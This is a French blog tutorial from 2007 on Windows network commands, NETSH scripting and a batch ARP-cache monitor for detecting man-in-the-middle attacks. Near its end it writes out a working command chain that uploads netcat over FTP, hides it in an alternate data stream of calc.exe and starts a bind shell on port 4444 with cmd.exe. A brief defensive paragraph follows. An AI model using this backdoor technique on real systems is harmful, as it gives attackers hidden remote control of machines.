Les applications réseaux via MSDOS se sont bien accumulées depuis Windows 2000. Elles sont toutes très utiles, même si dans Windows XP on retrouve des applications non finies, comme par exemple TASKKILL ou SHUTDOWN qui ne fonctionne pas, ou fonctionne mal à distance.





Voici une liste des commandes les plus utilisés, et les plus connues par les informaticiens. Je vous mets à disposition ces commandes afin que vous puissiez les tester de vous même. La plus part des commandes MSDOS, doivent recevoir /? en paramètre pour avoir un contexte d'aide, il se peut que ce soit -h, mais c'est plus rare. L'option -h et --help sont généralement dédiée aux commandes linux.


ARP         FTP         GETMAC      IPCONFIG    IPSEC6
IPV6        IPXROUTE    MSTSC       NBTSTAT     NET
NET1        NETSHN      NETSTAT     PATHPING    PING
PING6       REXEC       ROUTE       RSH         RSM
RSMSINK     RSMUI       SYSTEMINFO  TASKKILL    TASKLIST
TCPSVCS     TELNET      TFTP        TLNTADMN    TLNTSESS
TLNTSVR 

Il y a quelques commandes aux quelles nous allons nous intéressées plus particulièrement, du fait qu'elles sont moins connues que les autres mais pas forcément moins utiles. Mais tout d'abord nous allons voir les commandes aux quelles nous n'avons pas l'habitude.





Partons à la découverte de ces commandes. Voyons : GETMAC, IPXROUTE, PATHPING, PING6, REXEC, RSH, SYSTEMINFO.


GETMAC

Comme son nom l'indique cette commande obtient l'adresse mac des inferfaces réseau ainsi que leur nom de transport, le nom utilisé par les programmes utilisant les socket et notamment winpcap.


IPXROUTE

Ce programme est destiné à fournir des opérations sur le routage du protocol IPX.


PATHPING

PathPing détermine la route, calcul les statistiques en fonction du délai d'attente de chaque routeur et ce jusqu'au routeur ou à la passerelle qui ne répond pss. A la différence de tracert qui se contente de tracer le chemin depuis l'hôte jusqu'à la destination, pathping récolte des statistiques en fonction des paquets perdus.


PING6

Cet outil est utilisé pour envoyer des requêtes ICMPv6 sur le protocol IPv6.


REXEC, RSH

REXEC et RSH permette respectivement d'envoyer des commandes aux serveurs de même noms, la plus part temps ce sont des serveurs Unix/Linux.


SYSTEMINFO

Récolte les informations matérielles et logicielles de l'ordinateur, elle récolte également les informations à propos des interfaces réseaux.





Nous allons nous intéresser plus particulièrement à la commande NETSH car elle est d'une très grand utilité que ce soit sur un serveur ou sur un poste client. NETSH est un environnement permettant de configurer les propriétés réseaux. On peut accéder à cet environnement en tapant la commande seule, nous aurons donc droit à un prompt.


netsh> help
 
REM - Changement de contexte.
netsh> firewall
netsh firewall>
netsh firewall> .. 
netsh> 

Elle permet en effet de configurer une adresse IP sur une carte réseau, l'interface réseau ou bien même de paramétrer l'interface Winsock. Nous allons donc voir quelques applications liées à NETSH. Il faut noter que pour certaines commandes NETSH nécessite le service "Routage et accès distant" doit être lancé:
net start remoteaccess

Voyons l'aide que propose NETSH. Nous avons en face de nous une aide sommaire, il y a plusieurs contexte, comme peut le montrer cette commande. Pour chaque contexte, il y a une aide associée. Si on avait à définir ce qu'est un contexte NETSH, je dirais simplement que c'est l'environnement dans lequel nous utilisons l'outil : winsock est un environnement application alors que interfaces est un environnement matériel. L'aide de NETSH :


netsh /?
 
 
Utilisation : netsh  [-a Fichier alias]   [-c Contexte]   [-r Machine distante] 
               [Commande | -f Fichier Script] 
 
Les commandes suivantes sont disponibles :
 
Commandes dans ce contexte :
?              - Affiche une liste de commandes.
add            - Ajoute une entrée de configuration à une liste d'entrées.
bridge         - Modifications pour le contexte `netsh bridge'.
delete         - Supprime une entrée de configuration d'une liste d'entrées.
diag           - Modifications pour le contexte `netsh diag'.
dump           - Affiche un script de configuration.
exec           - Exécute un fichier script.
firewall       - Modifications pour le contexte `netsh firewall'.
help           - Affiche une liste de commandes.
interface      - Modifications pour le contexte `netsh interface'.
ras            - Modifications pour le contexte `netsh ras'.
routing        - Modifications pour le contexte `netsh routing'.
set            - Met à jour les paramètres de configuration.
show           - Affiche les informations.
winsock        - Modifications pour le contexte `netsh winsock'.
 
Les sous-contextes suivants sont disponibles :
 bridge diag firewall interface ras routing winsock
 
L'aide de NETSH INTERFACE
 
netsh interface /?
 
 
Les commandes suivantes sont disponibles :
 
Commandes dans ce contexte :
?              - Affiche une liste de commandes.
add            - Ajoute une entrée de configuration à une table.
delete         - Supprime une entrée de configuration d'une table.
dump           - Affiche un script de configuration.
help           - Affiche une liste de commandes.
ip             - Modifications pour le contexte `netsh interface ip'.
ipv6           - Modifications pour le contexte `netsh interface ipv6'.
portproxy      - Modifications pour le contexte `netsh interface portproxy'.
reset          - Réinitialise les informations.
set            - Définit l'information de configuration.
show           - Affiche les informations.
 
Les sous-contextes suivants sont disponibles :
 ip ipv6 portproxy 

Maintenant que nous avons ces informations nous allons pouvoir créer un script qui nous permettra par exemple de nous connecter à une entreprise ou à la maison depuis l'ordinateur portable, en supposant qu'à la maison on ait un réseau avec adresses IP statiques.


@echo off
 
set reseau=%1
set addr_ip=%3
set mask_ip=%4
set gateway=%5
 
if "%2"=="-d" goto DYNAMIC_IP
if "%2"=="-s" goto STATIC_IP
 
if "%2"=="--dhcp" goto DYNAMIC_IP
if "%2"=="--static" goto STATIC_IP
if "%2"=="--server" goto IP_SERVER
 
title ETAT DE CONNEXION
 
echo.
echo. 
echo CONECT - Gestionnaire de configuration reseau
echo (C) Copyright 2001-2007 Infinite Corp.
echo ---------------------------------------------
echo.
echo Reseau avec architecture en DHCP ..... : -d -ou- --dhcp
echo Reseau avec architecture statique .... : -s -ou- --static
echo Configuration du poste en serveur .... : --server
echo.
echo Exemples:
echo.
echo conect "Local network"  -d
echo - Connecte l'ordinateur sur un reseau avec une architecture DHCP
echo.
echo conect "Local network" -s 192.168.7.123 255.255.192.0 192.168.1.1 
echo - Defini les informations reseau de l'ordinateur
echo.
echo conect "Local network" --server
echo - Cette option va configurer l'ordinateur comme un serveur
echo.
goto EOF
 
 
 
:DYNAMIC_IP
echo Configuration en mode DHCP de l'interface %reseau% en cours...
netsh interface ip set address name=%reseau% source=dhcp 
echo Attribution d'une adresse reseau par serveur DHCP...
nbtstat -RR > NUL
arp -d > NUL
ipconfig -release %reseau% > NUL
ipconfig -renew %reseau% > NUL
goto EOF
 
 
:STATIC_IP
if "%3"=="" goto GIVE_IP
:IP_GIVEN
echo Configuration de l'adresse IP statique de %reseau% en cours...
netsh interface ip set address %reseau% static %addr_ip% %mask_ip% %gateway% 1
echo Definition du serveur DNS...
netsh interface ip set dns name=%reseau% source=static addr=%gateway%
goto EOF
 
 
:GIVE_IP
set /p addr_ip="Adresse IP: "
set /p mask_ip="Masque: "
set /p gateway="Passerelle: "
goto IP_GIVEN
 
:FIN_1
set reseau=
set addr_ip=
set mask_ip=
 
 
IF EXIST DEL NUL
 
 
ipconfig 

En fouillant l'aide de NETSH nous pouvons même trouver quelques astuces pour permettre au firewall d'autoriser des applications de se connecter sur le réseau:


set allowedprogram C:/MonApp/MonApp.exe MonApp ENABLE CUSTOM
157.60.0.1,172.16.0.0/16,10.0.0.0/255.0.0.0,LocalSubnet
 
 
157.60.0.1           Adresse IP autorisée
172.16.0.0/16        Réseau autorisé en fournissant en paramètre un masque numérique
10.0.0.0/255.0.0.0   Réseau autorisé en fournissant en paramètre un masque
LocalSubnet          Identifie le réseau local de la machine 




Après avoir lu un article sur le MITM, Man In The Middle ; j'ai pensé à une éventuelle solution, elle reste à validée mais l'idée ne me semble pas mauvaise. L'idée est de vérifier que l'adresse MAC qui est en cache est bien celle d'une liste de serveur DHCP. Si elle est différente alors on poste une alerte comme quoi l'adresse MAC qu'on a en cache n'est pas la bonne, puis on se met en adressage statique.

D'abord dans le programme on défini l'adresse MAC du routeur, ou du serveur ainsi que le seuil. Notez l'utilisation de SETLOCAL qui permet aux variables d'avoir un temps d'éxecution limité au script. C'est dans cette première partie que le test est fait, si une adresse MAC n'est pas la bonne alors on va au sous-programme REPARE_1. Un sous-programme est un "label" dans le cas du langage DOS, ainsi qu'en assembleur.


SETLOCAL
 
SET MAC=
SET IP=
SET DNS=
SET COMPTEUR=
SET SEUIL=
 
REM -- A mettre ici l'adresse MAC d'un serveur DHCP de confiance.
SET MAC_DHCP="00-07-3a-3d-75-2c"
 
REM -- On défini le seuil à partir du quel on considérera que le cache est du à un serveur DHCP intrus.
SET SEUIL=5
 
REM -- La surveillance se fait tant qu'on s'estime en lieu sur.
:LOOP
CLS
 
ECHO.
ECHO  [-]   Surveillance du cache ARP...
REM -- Si il n'y aucune adresse MAC en cache on considère que nous ne sommes pas attaqué.
arp -a | FIND "Aucune"  > NUL
IF %ERRORLEVEL%==0 GOTO LOOP
 
REM -- Si dans le cache il y a l'adresse MAC lue alors on retourne au début
arp -a | FIND %MAC_DHCP% > NUL
IF "%ERRORLEVEL%"=="0" GOTO LOOP
 
REM -- Sinon on comptabilise le nombre de tentative de corruption du cache.
IF "%ERRORLEVEL%"=="1" GOTO MITM 

Si la tentative d'injecter une adresse MAC dans notre ordinateur se fait à répétition, si elle se fait plus de %SEUIL% fois (qui est une variable à définir dès le début) alors on passe au label REPARE_1. Les conditions dans MSDOS sont un peu particuliètres car les comparaisons ne se font pas toutes avec des symboles, étant donné que le symbole ">" représente un flux sortant - c'est à dire allant de l'écran vers un fichier et le symbole "<" un flux entrant, ils ne peuvent être utilisé en symbole de comparaison. Il y a alors plusieurs opérateurs alphanumériques agissant en comparateur. Pour en savoir plus, il suffit de taper IF /? sous la console MSDOS


EQU - égal à
NEQ - différent de
LSS - inférieur à
LEQ - inférieur ou égal à
GTR - supérieur à
GEQ - supérieur ou égal à  

:MITM
REM -- Un "Man In The Middle" est détecté, on incrémente le compteur
ECHO  [+]   Man In The Middle détecté !
set /A COMPTEUR = %COMPTEUR% + 1
 
REM -- Si le compteur dépasse le seuil, l'intrus a un serveur DHCP ou envoie des requ&ecirc;tes en boucle
IF %COMPTEUR% GTR %SEUIL% GOTO REPARE_2 
REM : IF %COMPTEUR% gtr %SEUIL% GOTO REPARE_2 
 
GOTO REPARE_1 

Essaie de réparer la connexion, en supprimant l'intrus - l'adresse MAC et configurant la machine avec une adresse MAC statique dirigée vers le serveur DHCP.


REM -- La réparation dans un premier temps va consister à mettre une adresse MAC statique en cache
:REPARE_1
ECHO.
ECHO  [v]   Le cache ARP a été supprimé.
arp -d > NUL
FOR /F %%i in ( MAC.ini ) do ( set MAC=%%i )
FOR /F %%i in ( IP.ini ) do ( set IP=%%i )
arp -s %IP% %MAC% > NUL
ECHO.
pause
GOTO LOOP 

Si le problème persiste, on passe en adresse IP statique en ayant quand même pris soin d'avoir vidé le cache ARP.


REM -- Si l'adresse MAC n'est pas enregistré dans le cache, qu'elle s'efface ou que l'adresse MAC de l'intrus 
REM -- est toujours là, on passe en adresse IP statique pour &ecirc;tre s&ucirc;r que notre traffic ne sera pas
REM -- redirigé vers lui.
:REPARE_2
ECHO.
ECHO  [!]   Serveur DHCP intrus détecté. 
 
FOR /F %%i in ( IP.ini ) do ( set IP=%%i )
FOR /F %%i in ( MASK.ini ) do ( set MASK=%%i )
FOR /F %%i in ( DNS.ini ) do ( set DNS=%%i )
FOR /F %%i in ( IFC.ini ) do ( set IFC=%%i )
 
arp -d > NUL
REM netsh interface ip set address %IFC% static %IP% %MASK% %DNS% 1 > NUL
REM netsh interface ip set dns name=%IFC% source=static addr=%DNS% > NUL
ECHO.
ECHO  [v]   Configuration en IP statique.
ECHO  [-]   Surveillance du cache ARP désactivée.
ECHO.
pause
 
:EOF
ENDLOCAL 




Pour plus de confort, notamment pour installer à distance un programme à l'aveugle il peut être utile de lancer des commandes de manière à ce qu'elles en lancent d'autres, par exemple, un appel à un script qui lui-même téléchargerait un fichier à partir d'un serveur FTP, puis une fois le téléchargement terminé, s'installerait. L'installation ne demandant bien évidemment aucune intervention de la part de l'utilisateur.


echo open 127.0.0.1 > ftp_connect.script &&
echo ftpusr >> ftp_connect.script
&& echo ftpusr >> ftp_connect.script
&& echo lcd c:/ >> ftp_connect.script
&& echo put programme_a_installer.exe programme_a_installer.exe >> ftp_connect.script
&& echo bye >> ftp_connect.script
&& ftp -v -s:ftp_connect.script 

Le client FTP de Windows peut exécuter des scripts et sont architecturés de la manière suivante : l'adresse IP oà se connecter en FTP, le nom d'utilisateur, le mot de passe en clair (et oui !), le chemin local (côté client) oà chercher le programme à envoyer, la requête d'envoie du programme puis la déconnexion du serveur FTP. Tout ceci est dans notre cas écrit dans le fichier 'ftp_connect.script' ce qui correspond aux commandes qu'on aurait eu à taper après être rentré dans l'invité de commende FTP :


open 127.0.0.1
ftpusr
ftpusr
lcd c:/
put proramme_a_installer.exe programme_a_installer.exe
bye 

En principe tout est écrit sur une seule et même ligne, le double éperluette ( && ) permet d'exécuter deux commandes à la suite. En fait il s'agit de l'opération logique ET, toutes les opérations se font tant que la précédente est bien exécutée, c'est à dire que %ERRORLEVEL% doit être à 1, pour mieux comprendre on peut le voir de la manière suivante:


ping -n 1 127.0.0.1 | find "TTL" && echo %ERRORLEVEL%
 
>> Affiche:
Réponse de 127.0.0.1 : octets=32 temps<1ms TTL=128
1
 
ping -n 1 127.0.0.1 | find "N_IMPORTE_QUOI" && echo %ERRORLEVEL%
 
>> Affiche:
( rien ) 

On pourrait donc très bien obtenir un shell à distance en cachant NetCat dans un flux alternatif, par exemple dans la calculatrice:


echo open 127.0.0.1 > ftp_connect.script
&& echo ftpusr >> ftp_connect.script
&& echo ftpusr >> ftp_connect.script
&& echo lcd c:/ >> ftp_connect.script
&& echo put netcat.exe nc.exe >> ftp_connect.script
&& echo bye >> ftp_connect.script
&& ftp -v -s:ftp_connect.script
&& type nc.exe > %WINDIR%/system32/calc.exe:nc.exe
&& start /b %WINDIR%/system32/calc.exe:nc.exe -l -L -p 4444 -e cmd.exe 

Voici comment transformer une innocent calculatrice en véritable backdoor ! Pour se protéger de cela il suffit de mettre son système à jour, de ne pas laissé des services activés inutilement (c'est souvent par là que transitent des données malicieuses) mais en plus d'avoir l'antivirus qui scanne les flux alternatifs : netcat est reconnu par la plus part des antivirus comme étant une backdoor.





Voici la fin de ce tutoriel quelque peu original puisque au début je comptais vous expliquer les applications réseaux utilisées sous MSDOS, puis finalement je me suis retrouvé à developper ce petit utilitaire MITM. En espèrant avoir tout de même attiré votre curiosité et vous avoir appris quelque chose.

Les programmes :


Le programme MITM complet, détecteur de Man In The Middle
Le gestionnaire de connexion via NETSH
Un programme qui permet de deviner l'adresse IP d'un réseau
Réinitialisation des Winsock


   =>   Écrit par : Nicolas, le 06 octobre 2007


 
Mots clés :  
  network 
  
  msdos 
  
  windows 
    >   Articles connexes :

GitVuln

GitVuln


HTTP Server, tell me who you are ?


Discuter avec un serveur web *apparement* muet ? Voici comment faire...

Flux et canaux


Le langage de programmation MSDOS est un peu particulier, c'est un langage interprété, cependant il peut lancer des programmes en tâches de fond. A l'origine il a été fait pour automatiser les tâches trop répétitives, grâce à son environnement...


Création de logs

Création de logs



Comment gagner du temps sur Internet

Comment gagner du temps sur Internet



Durcissement de Windows

Durcissement de Windows


3511691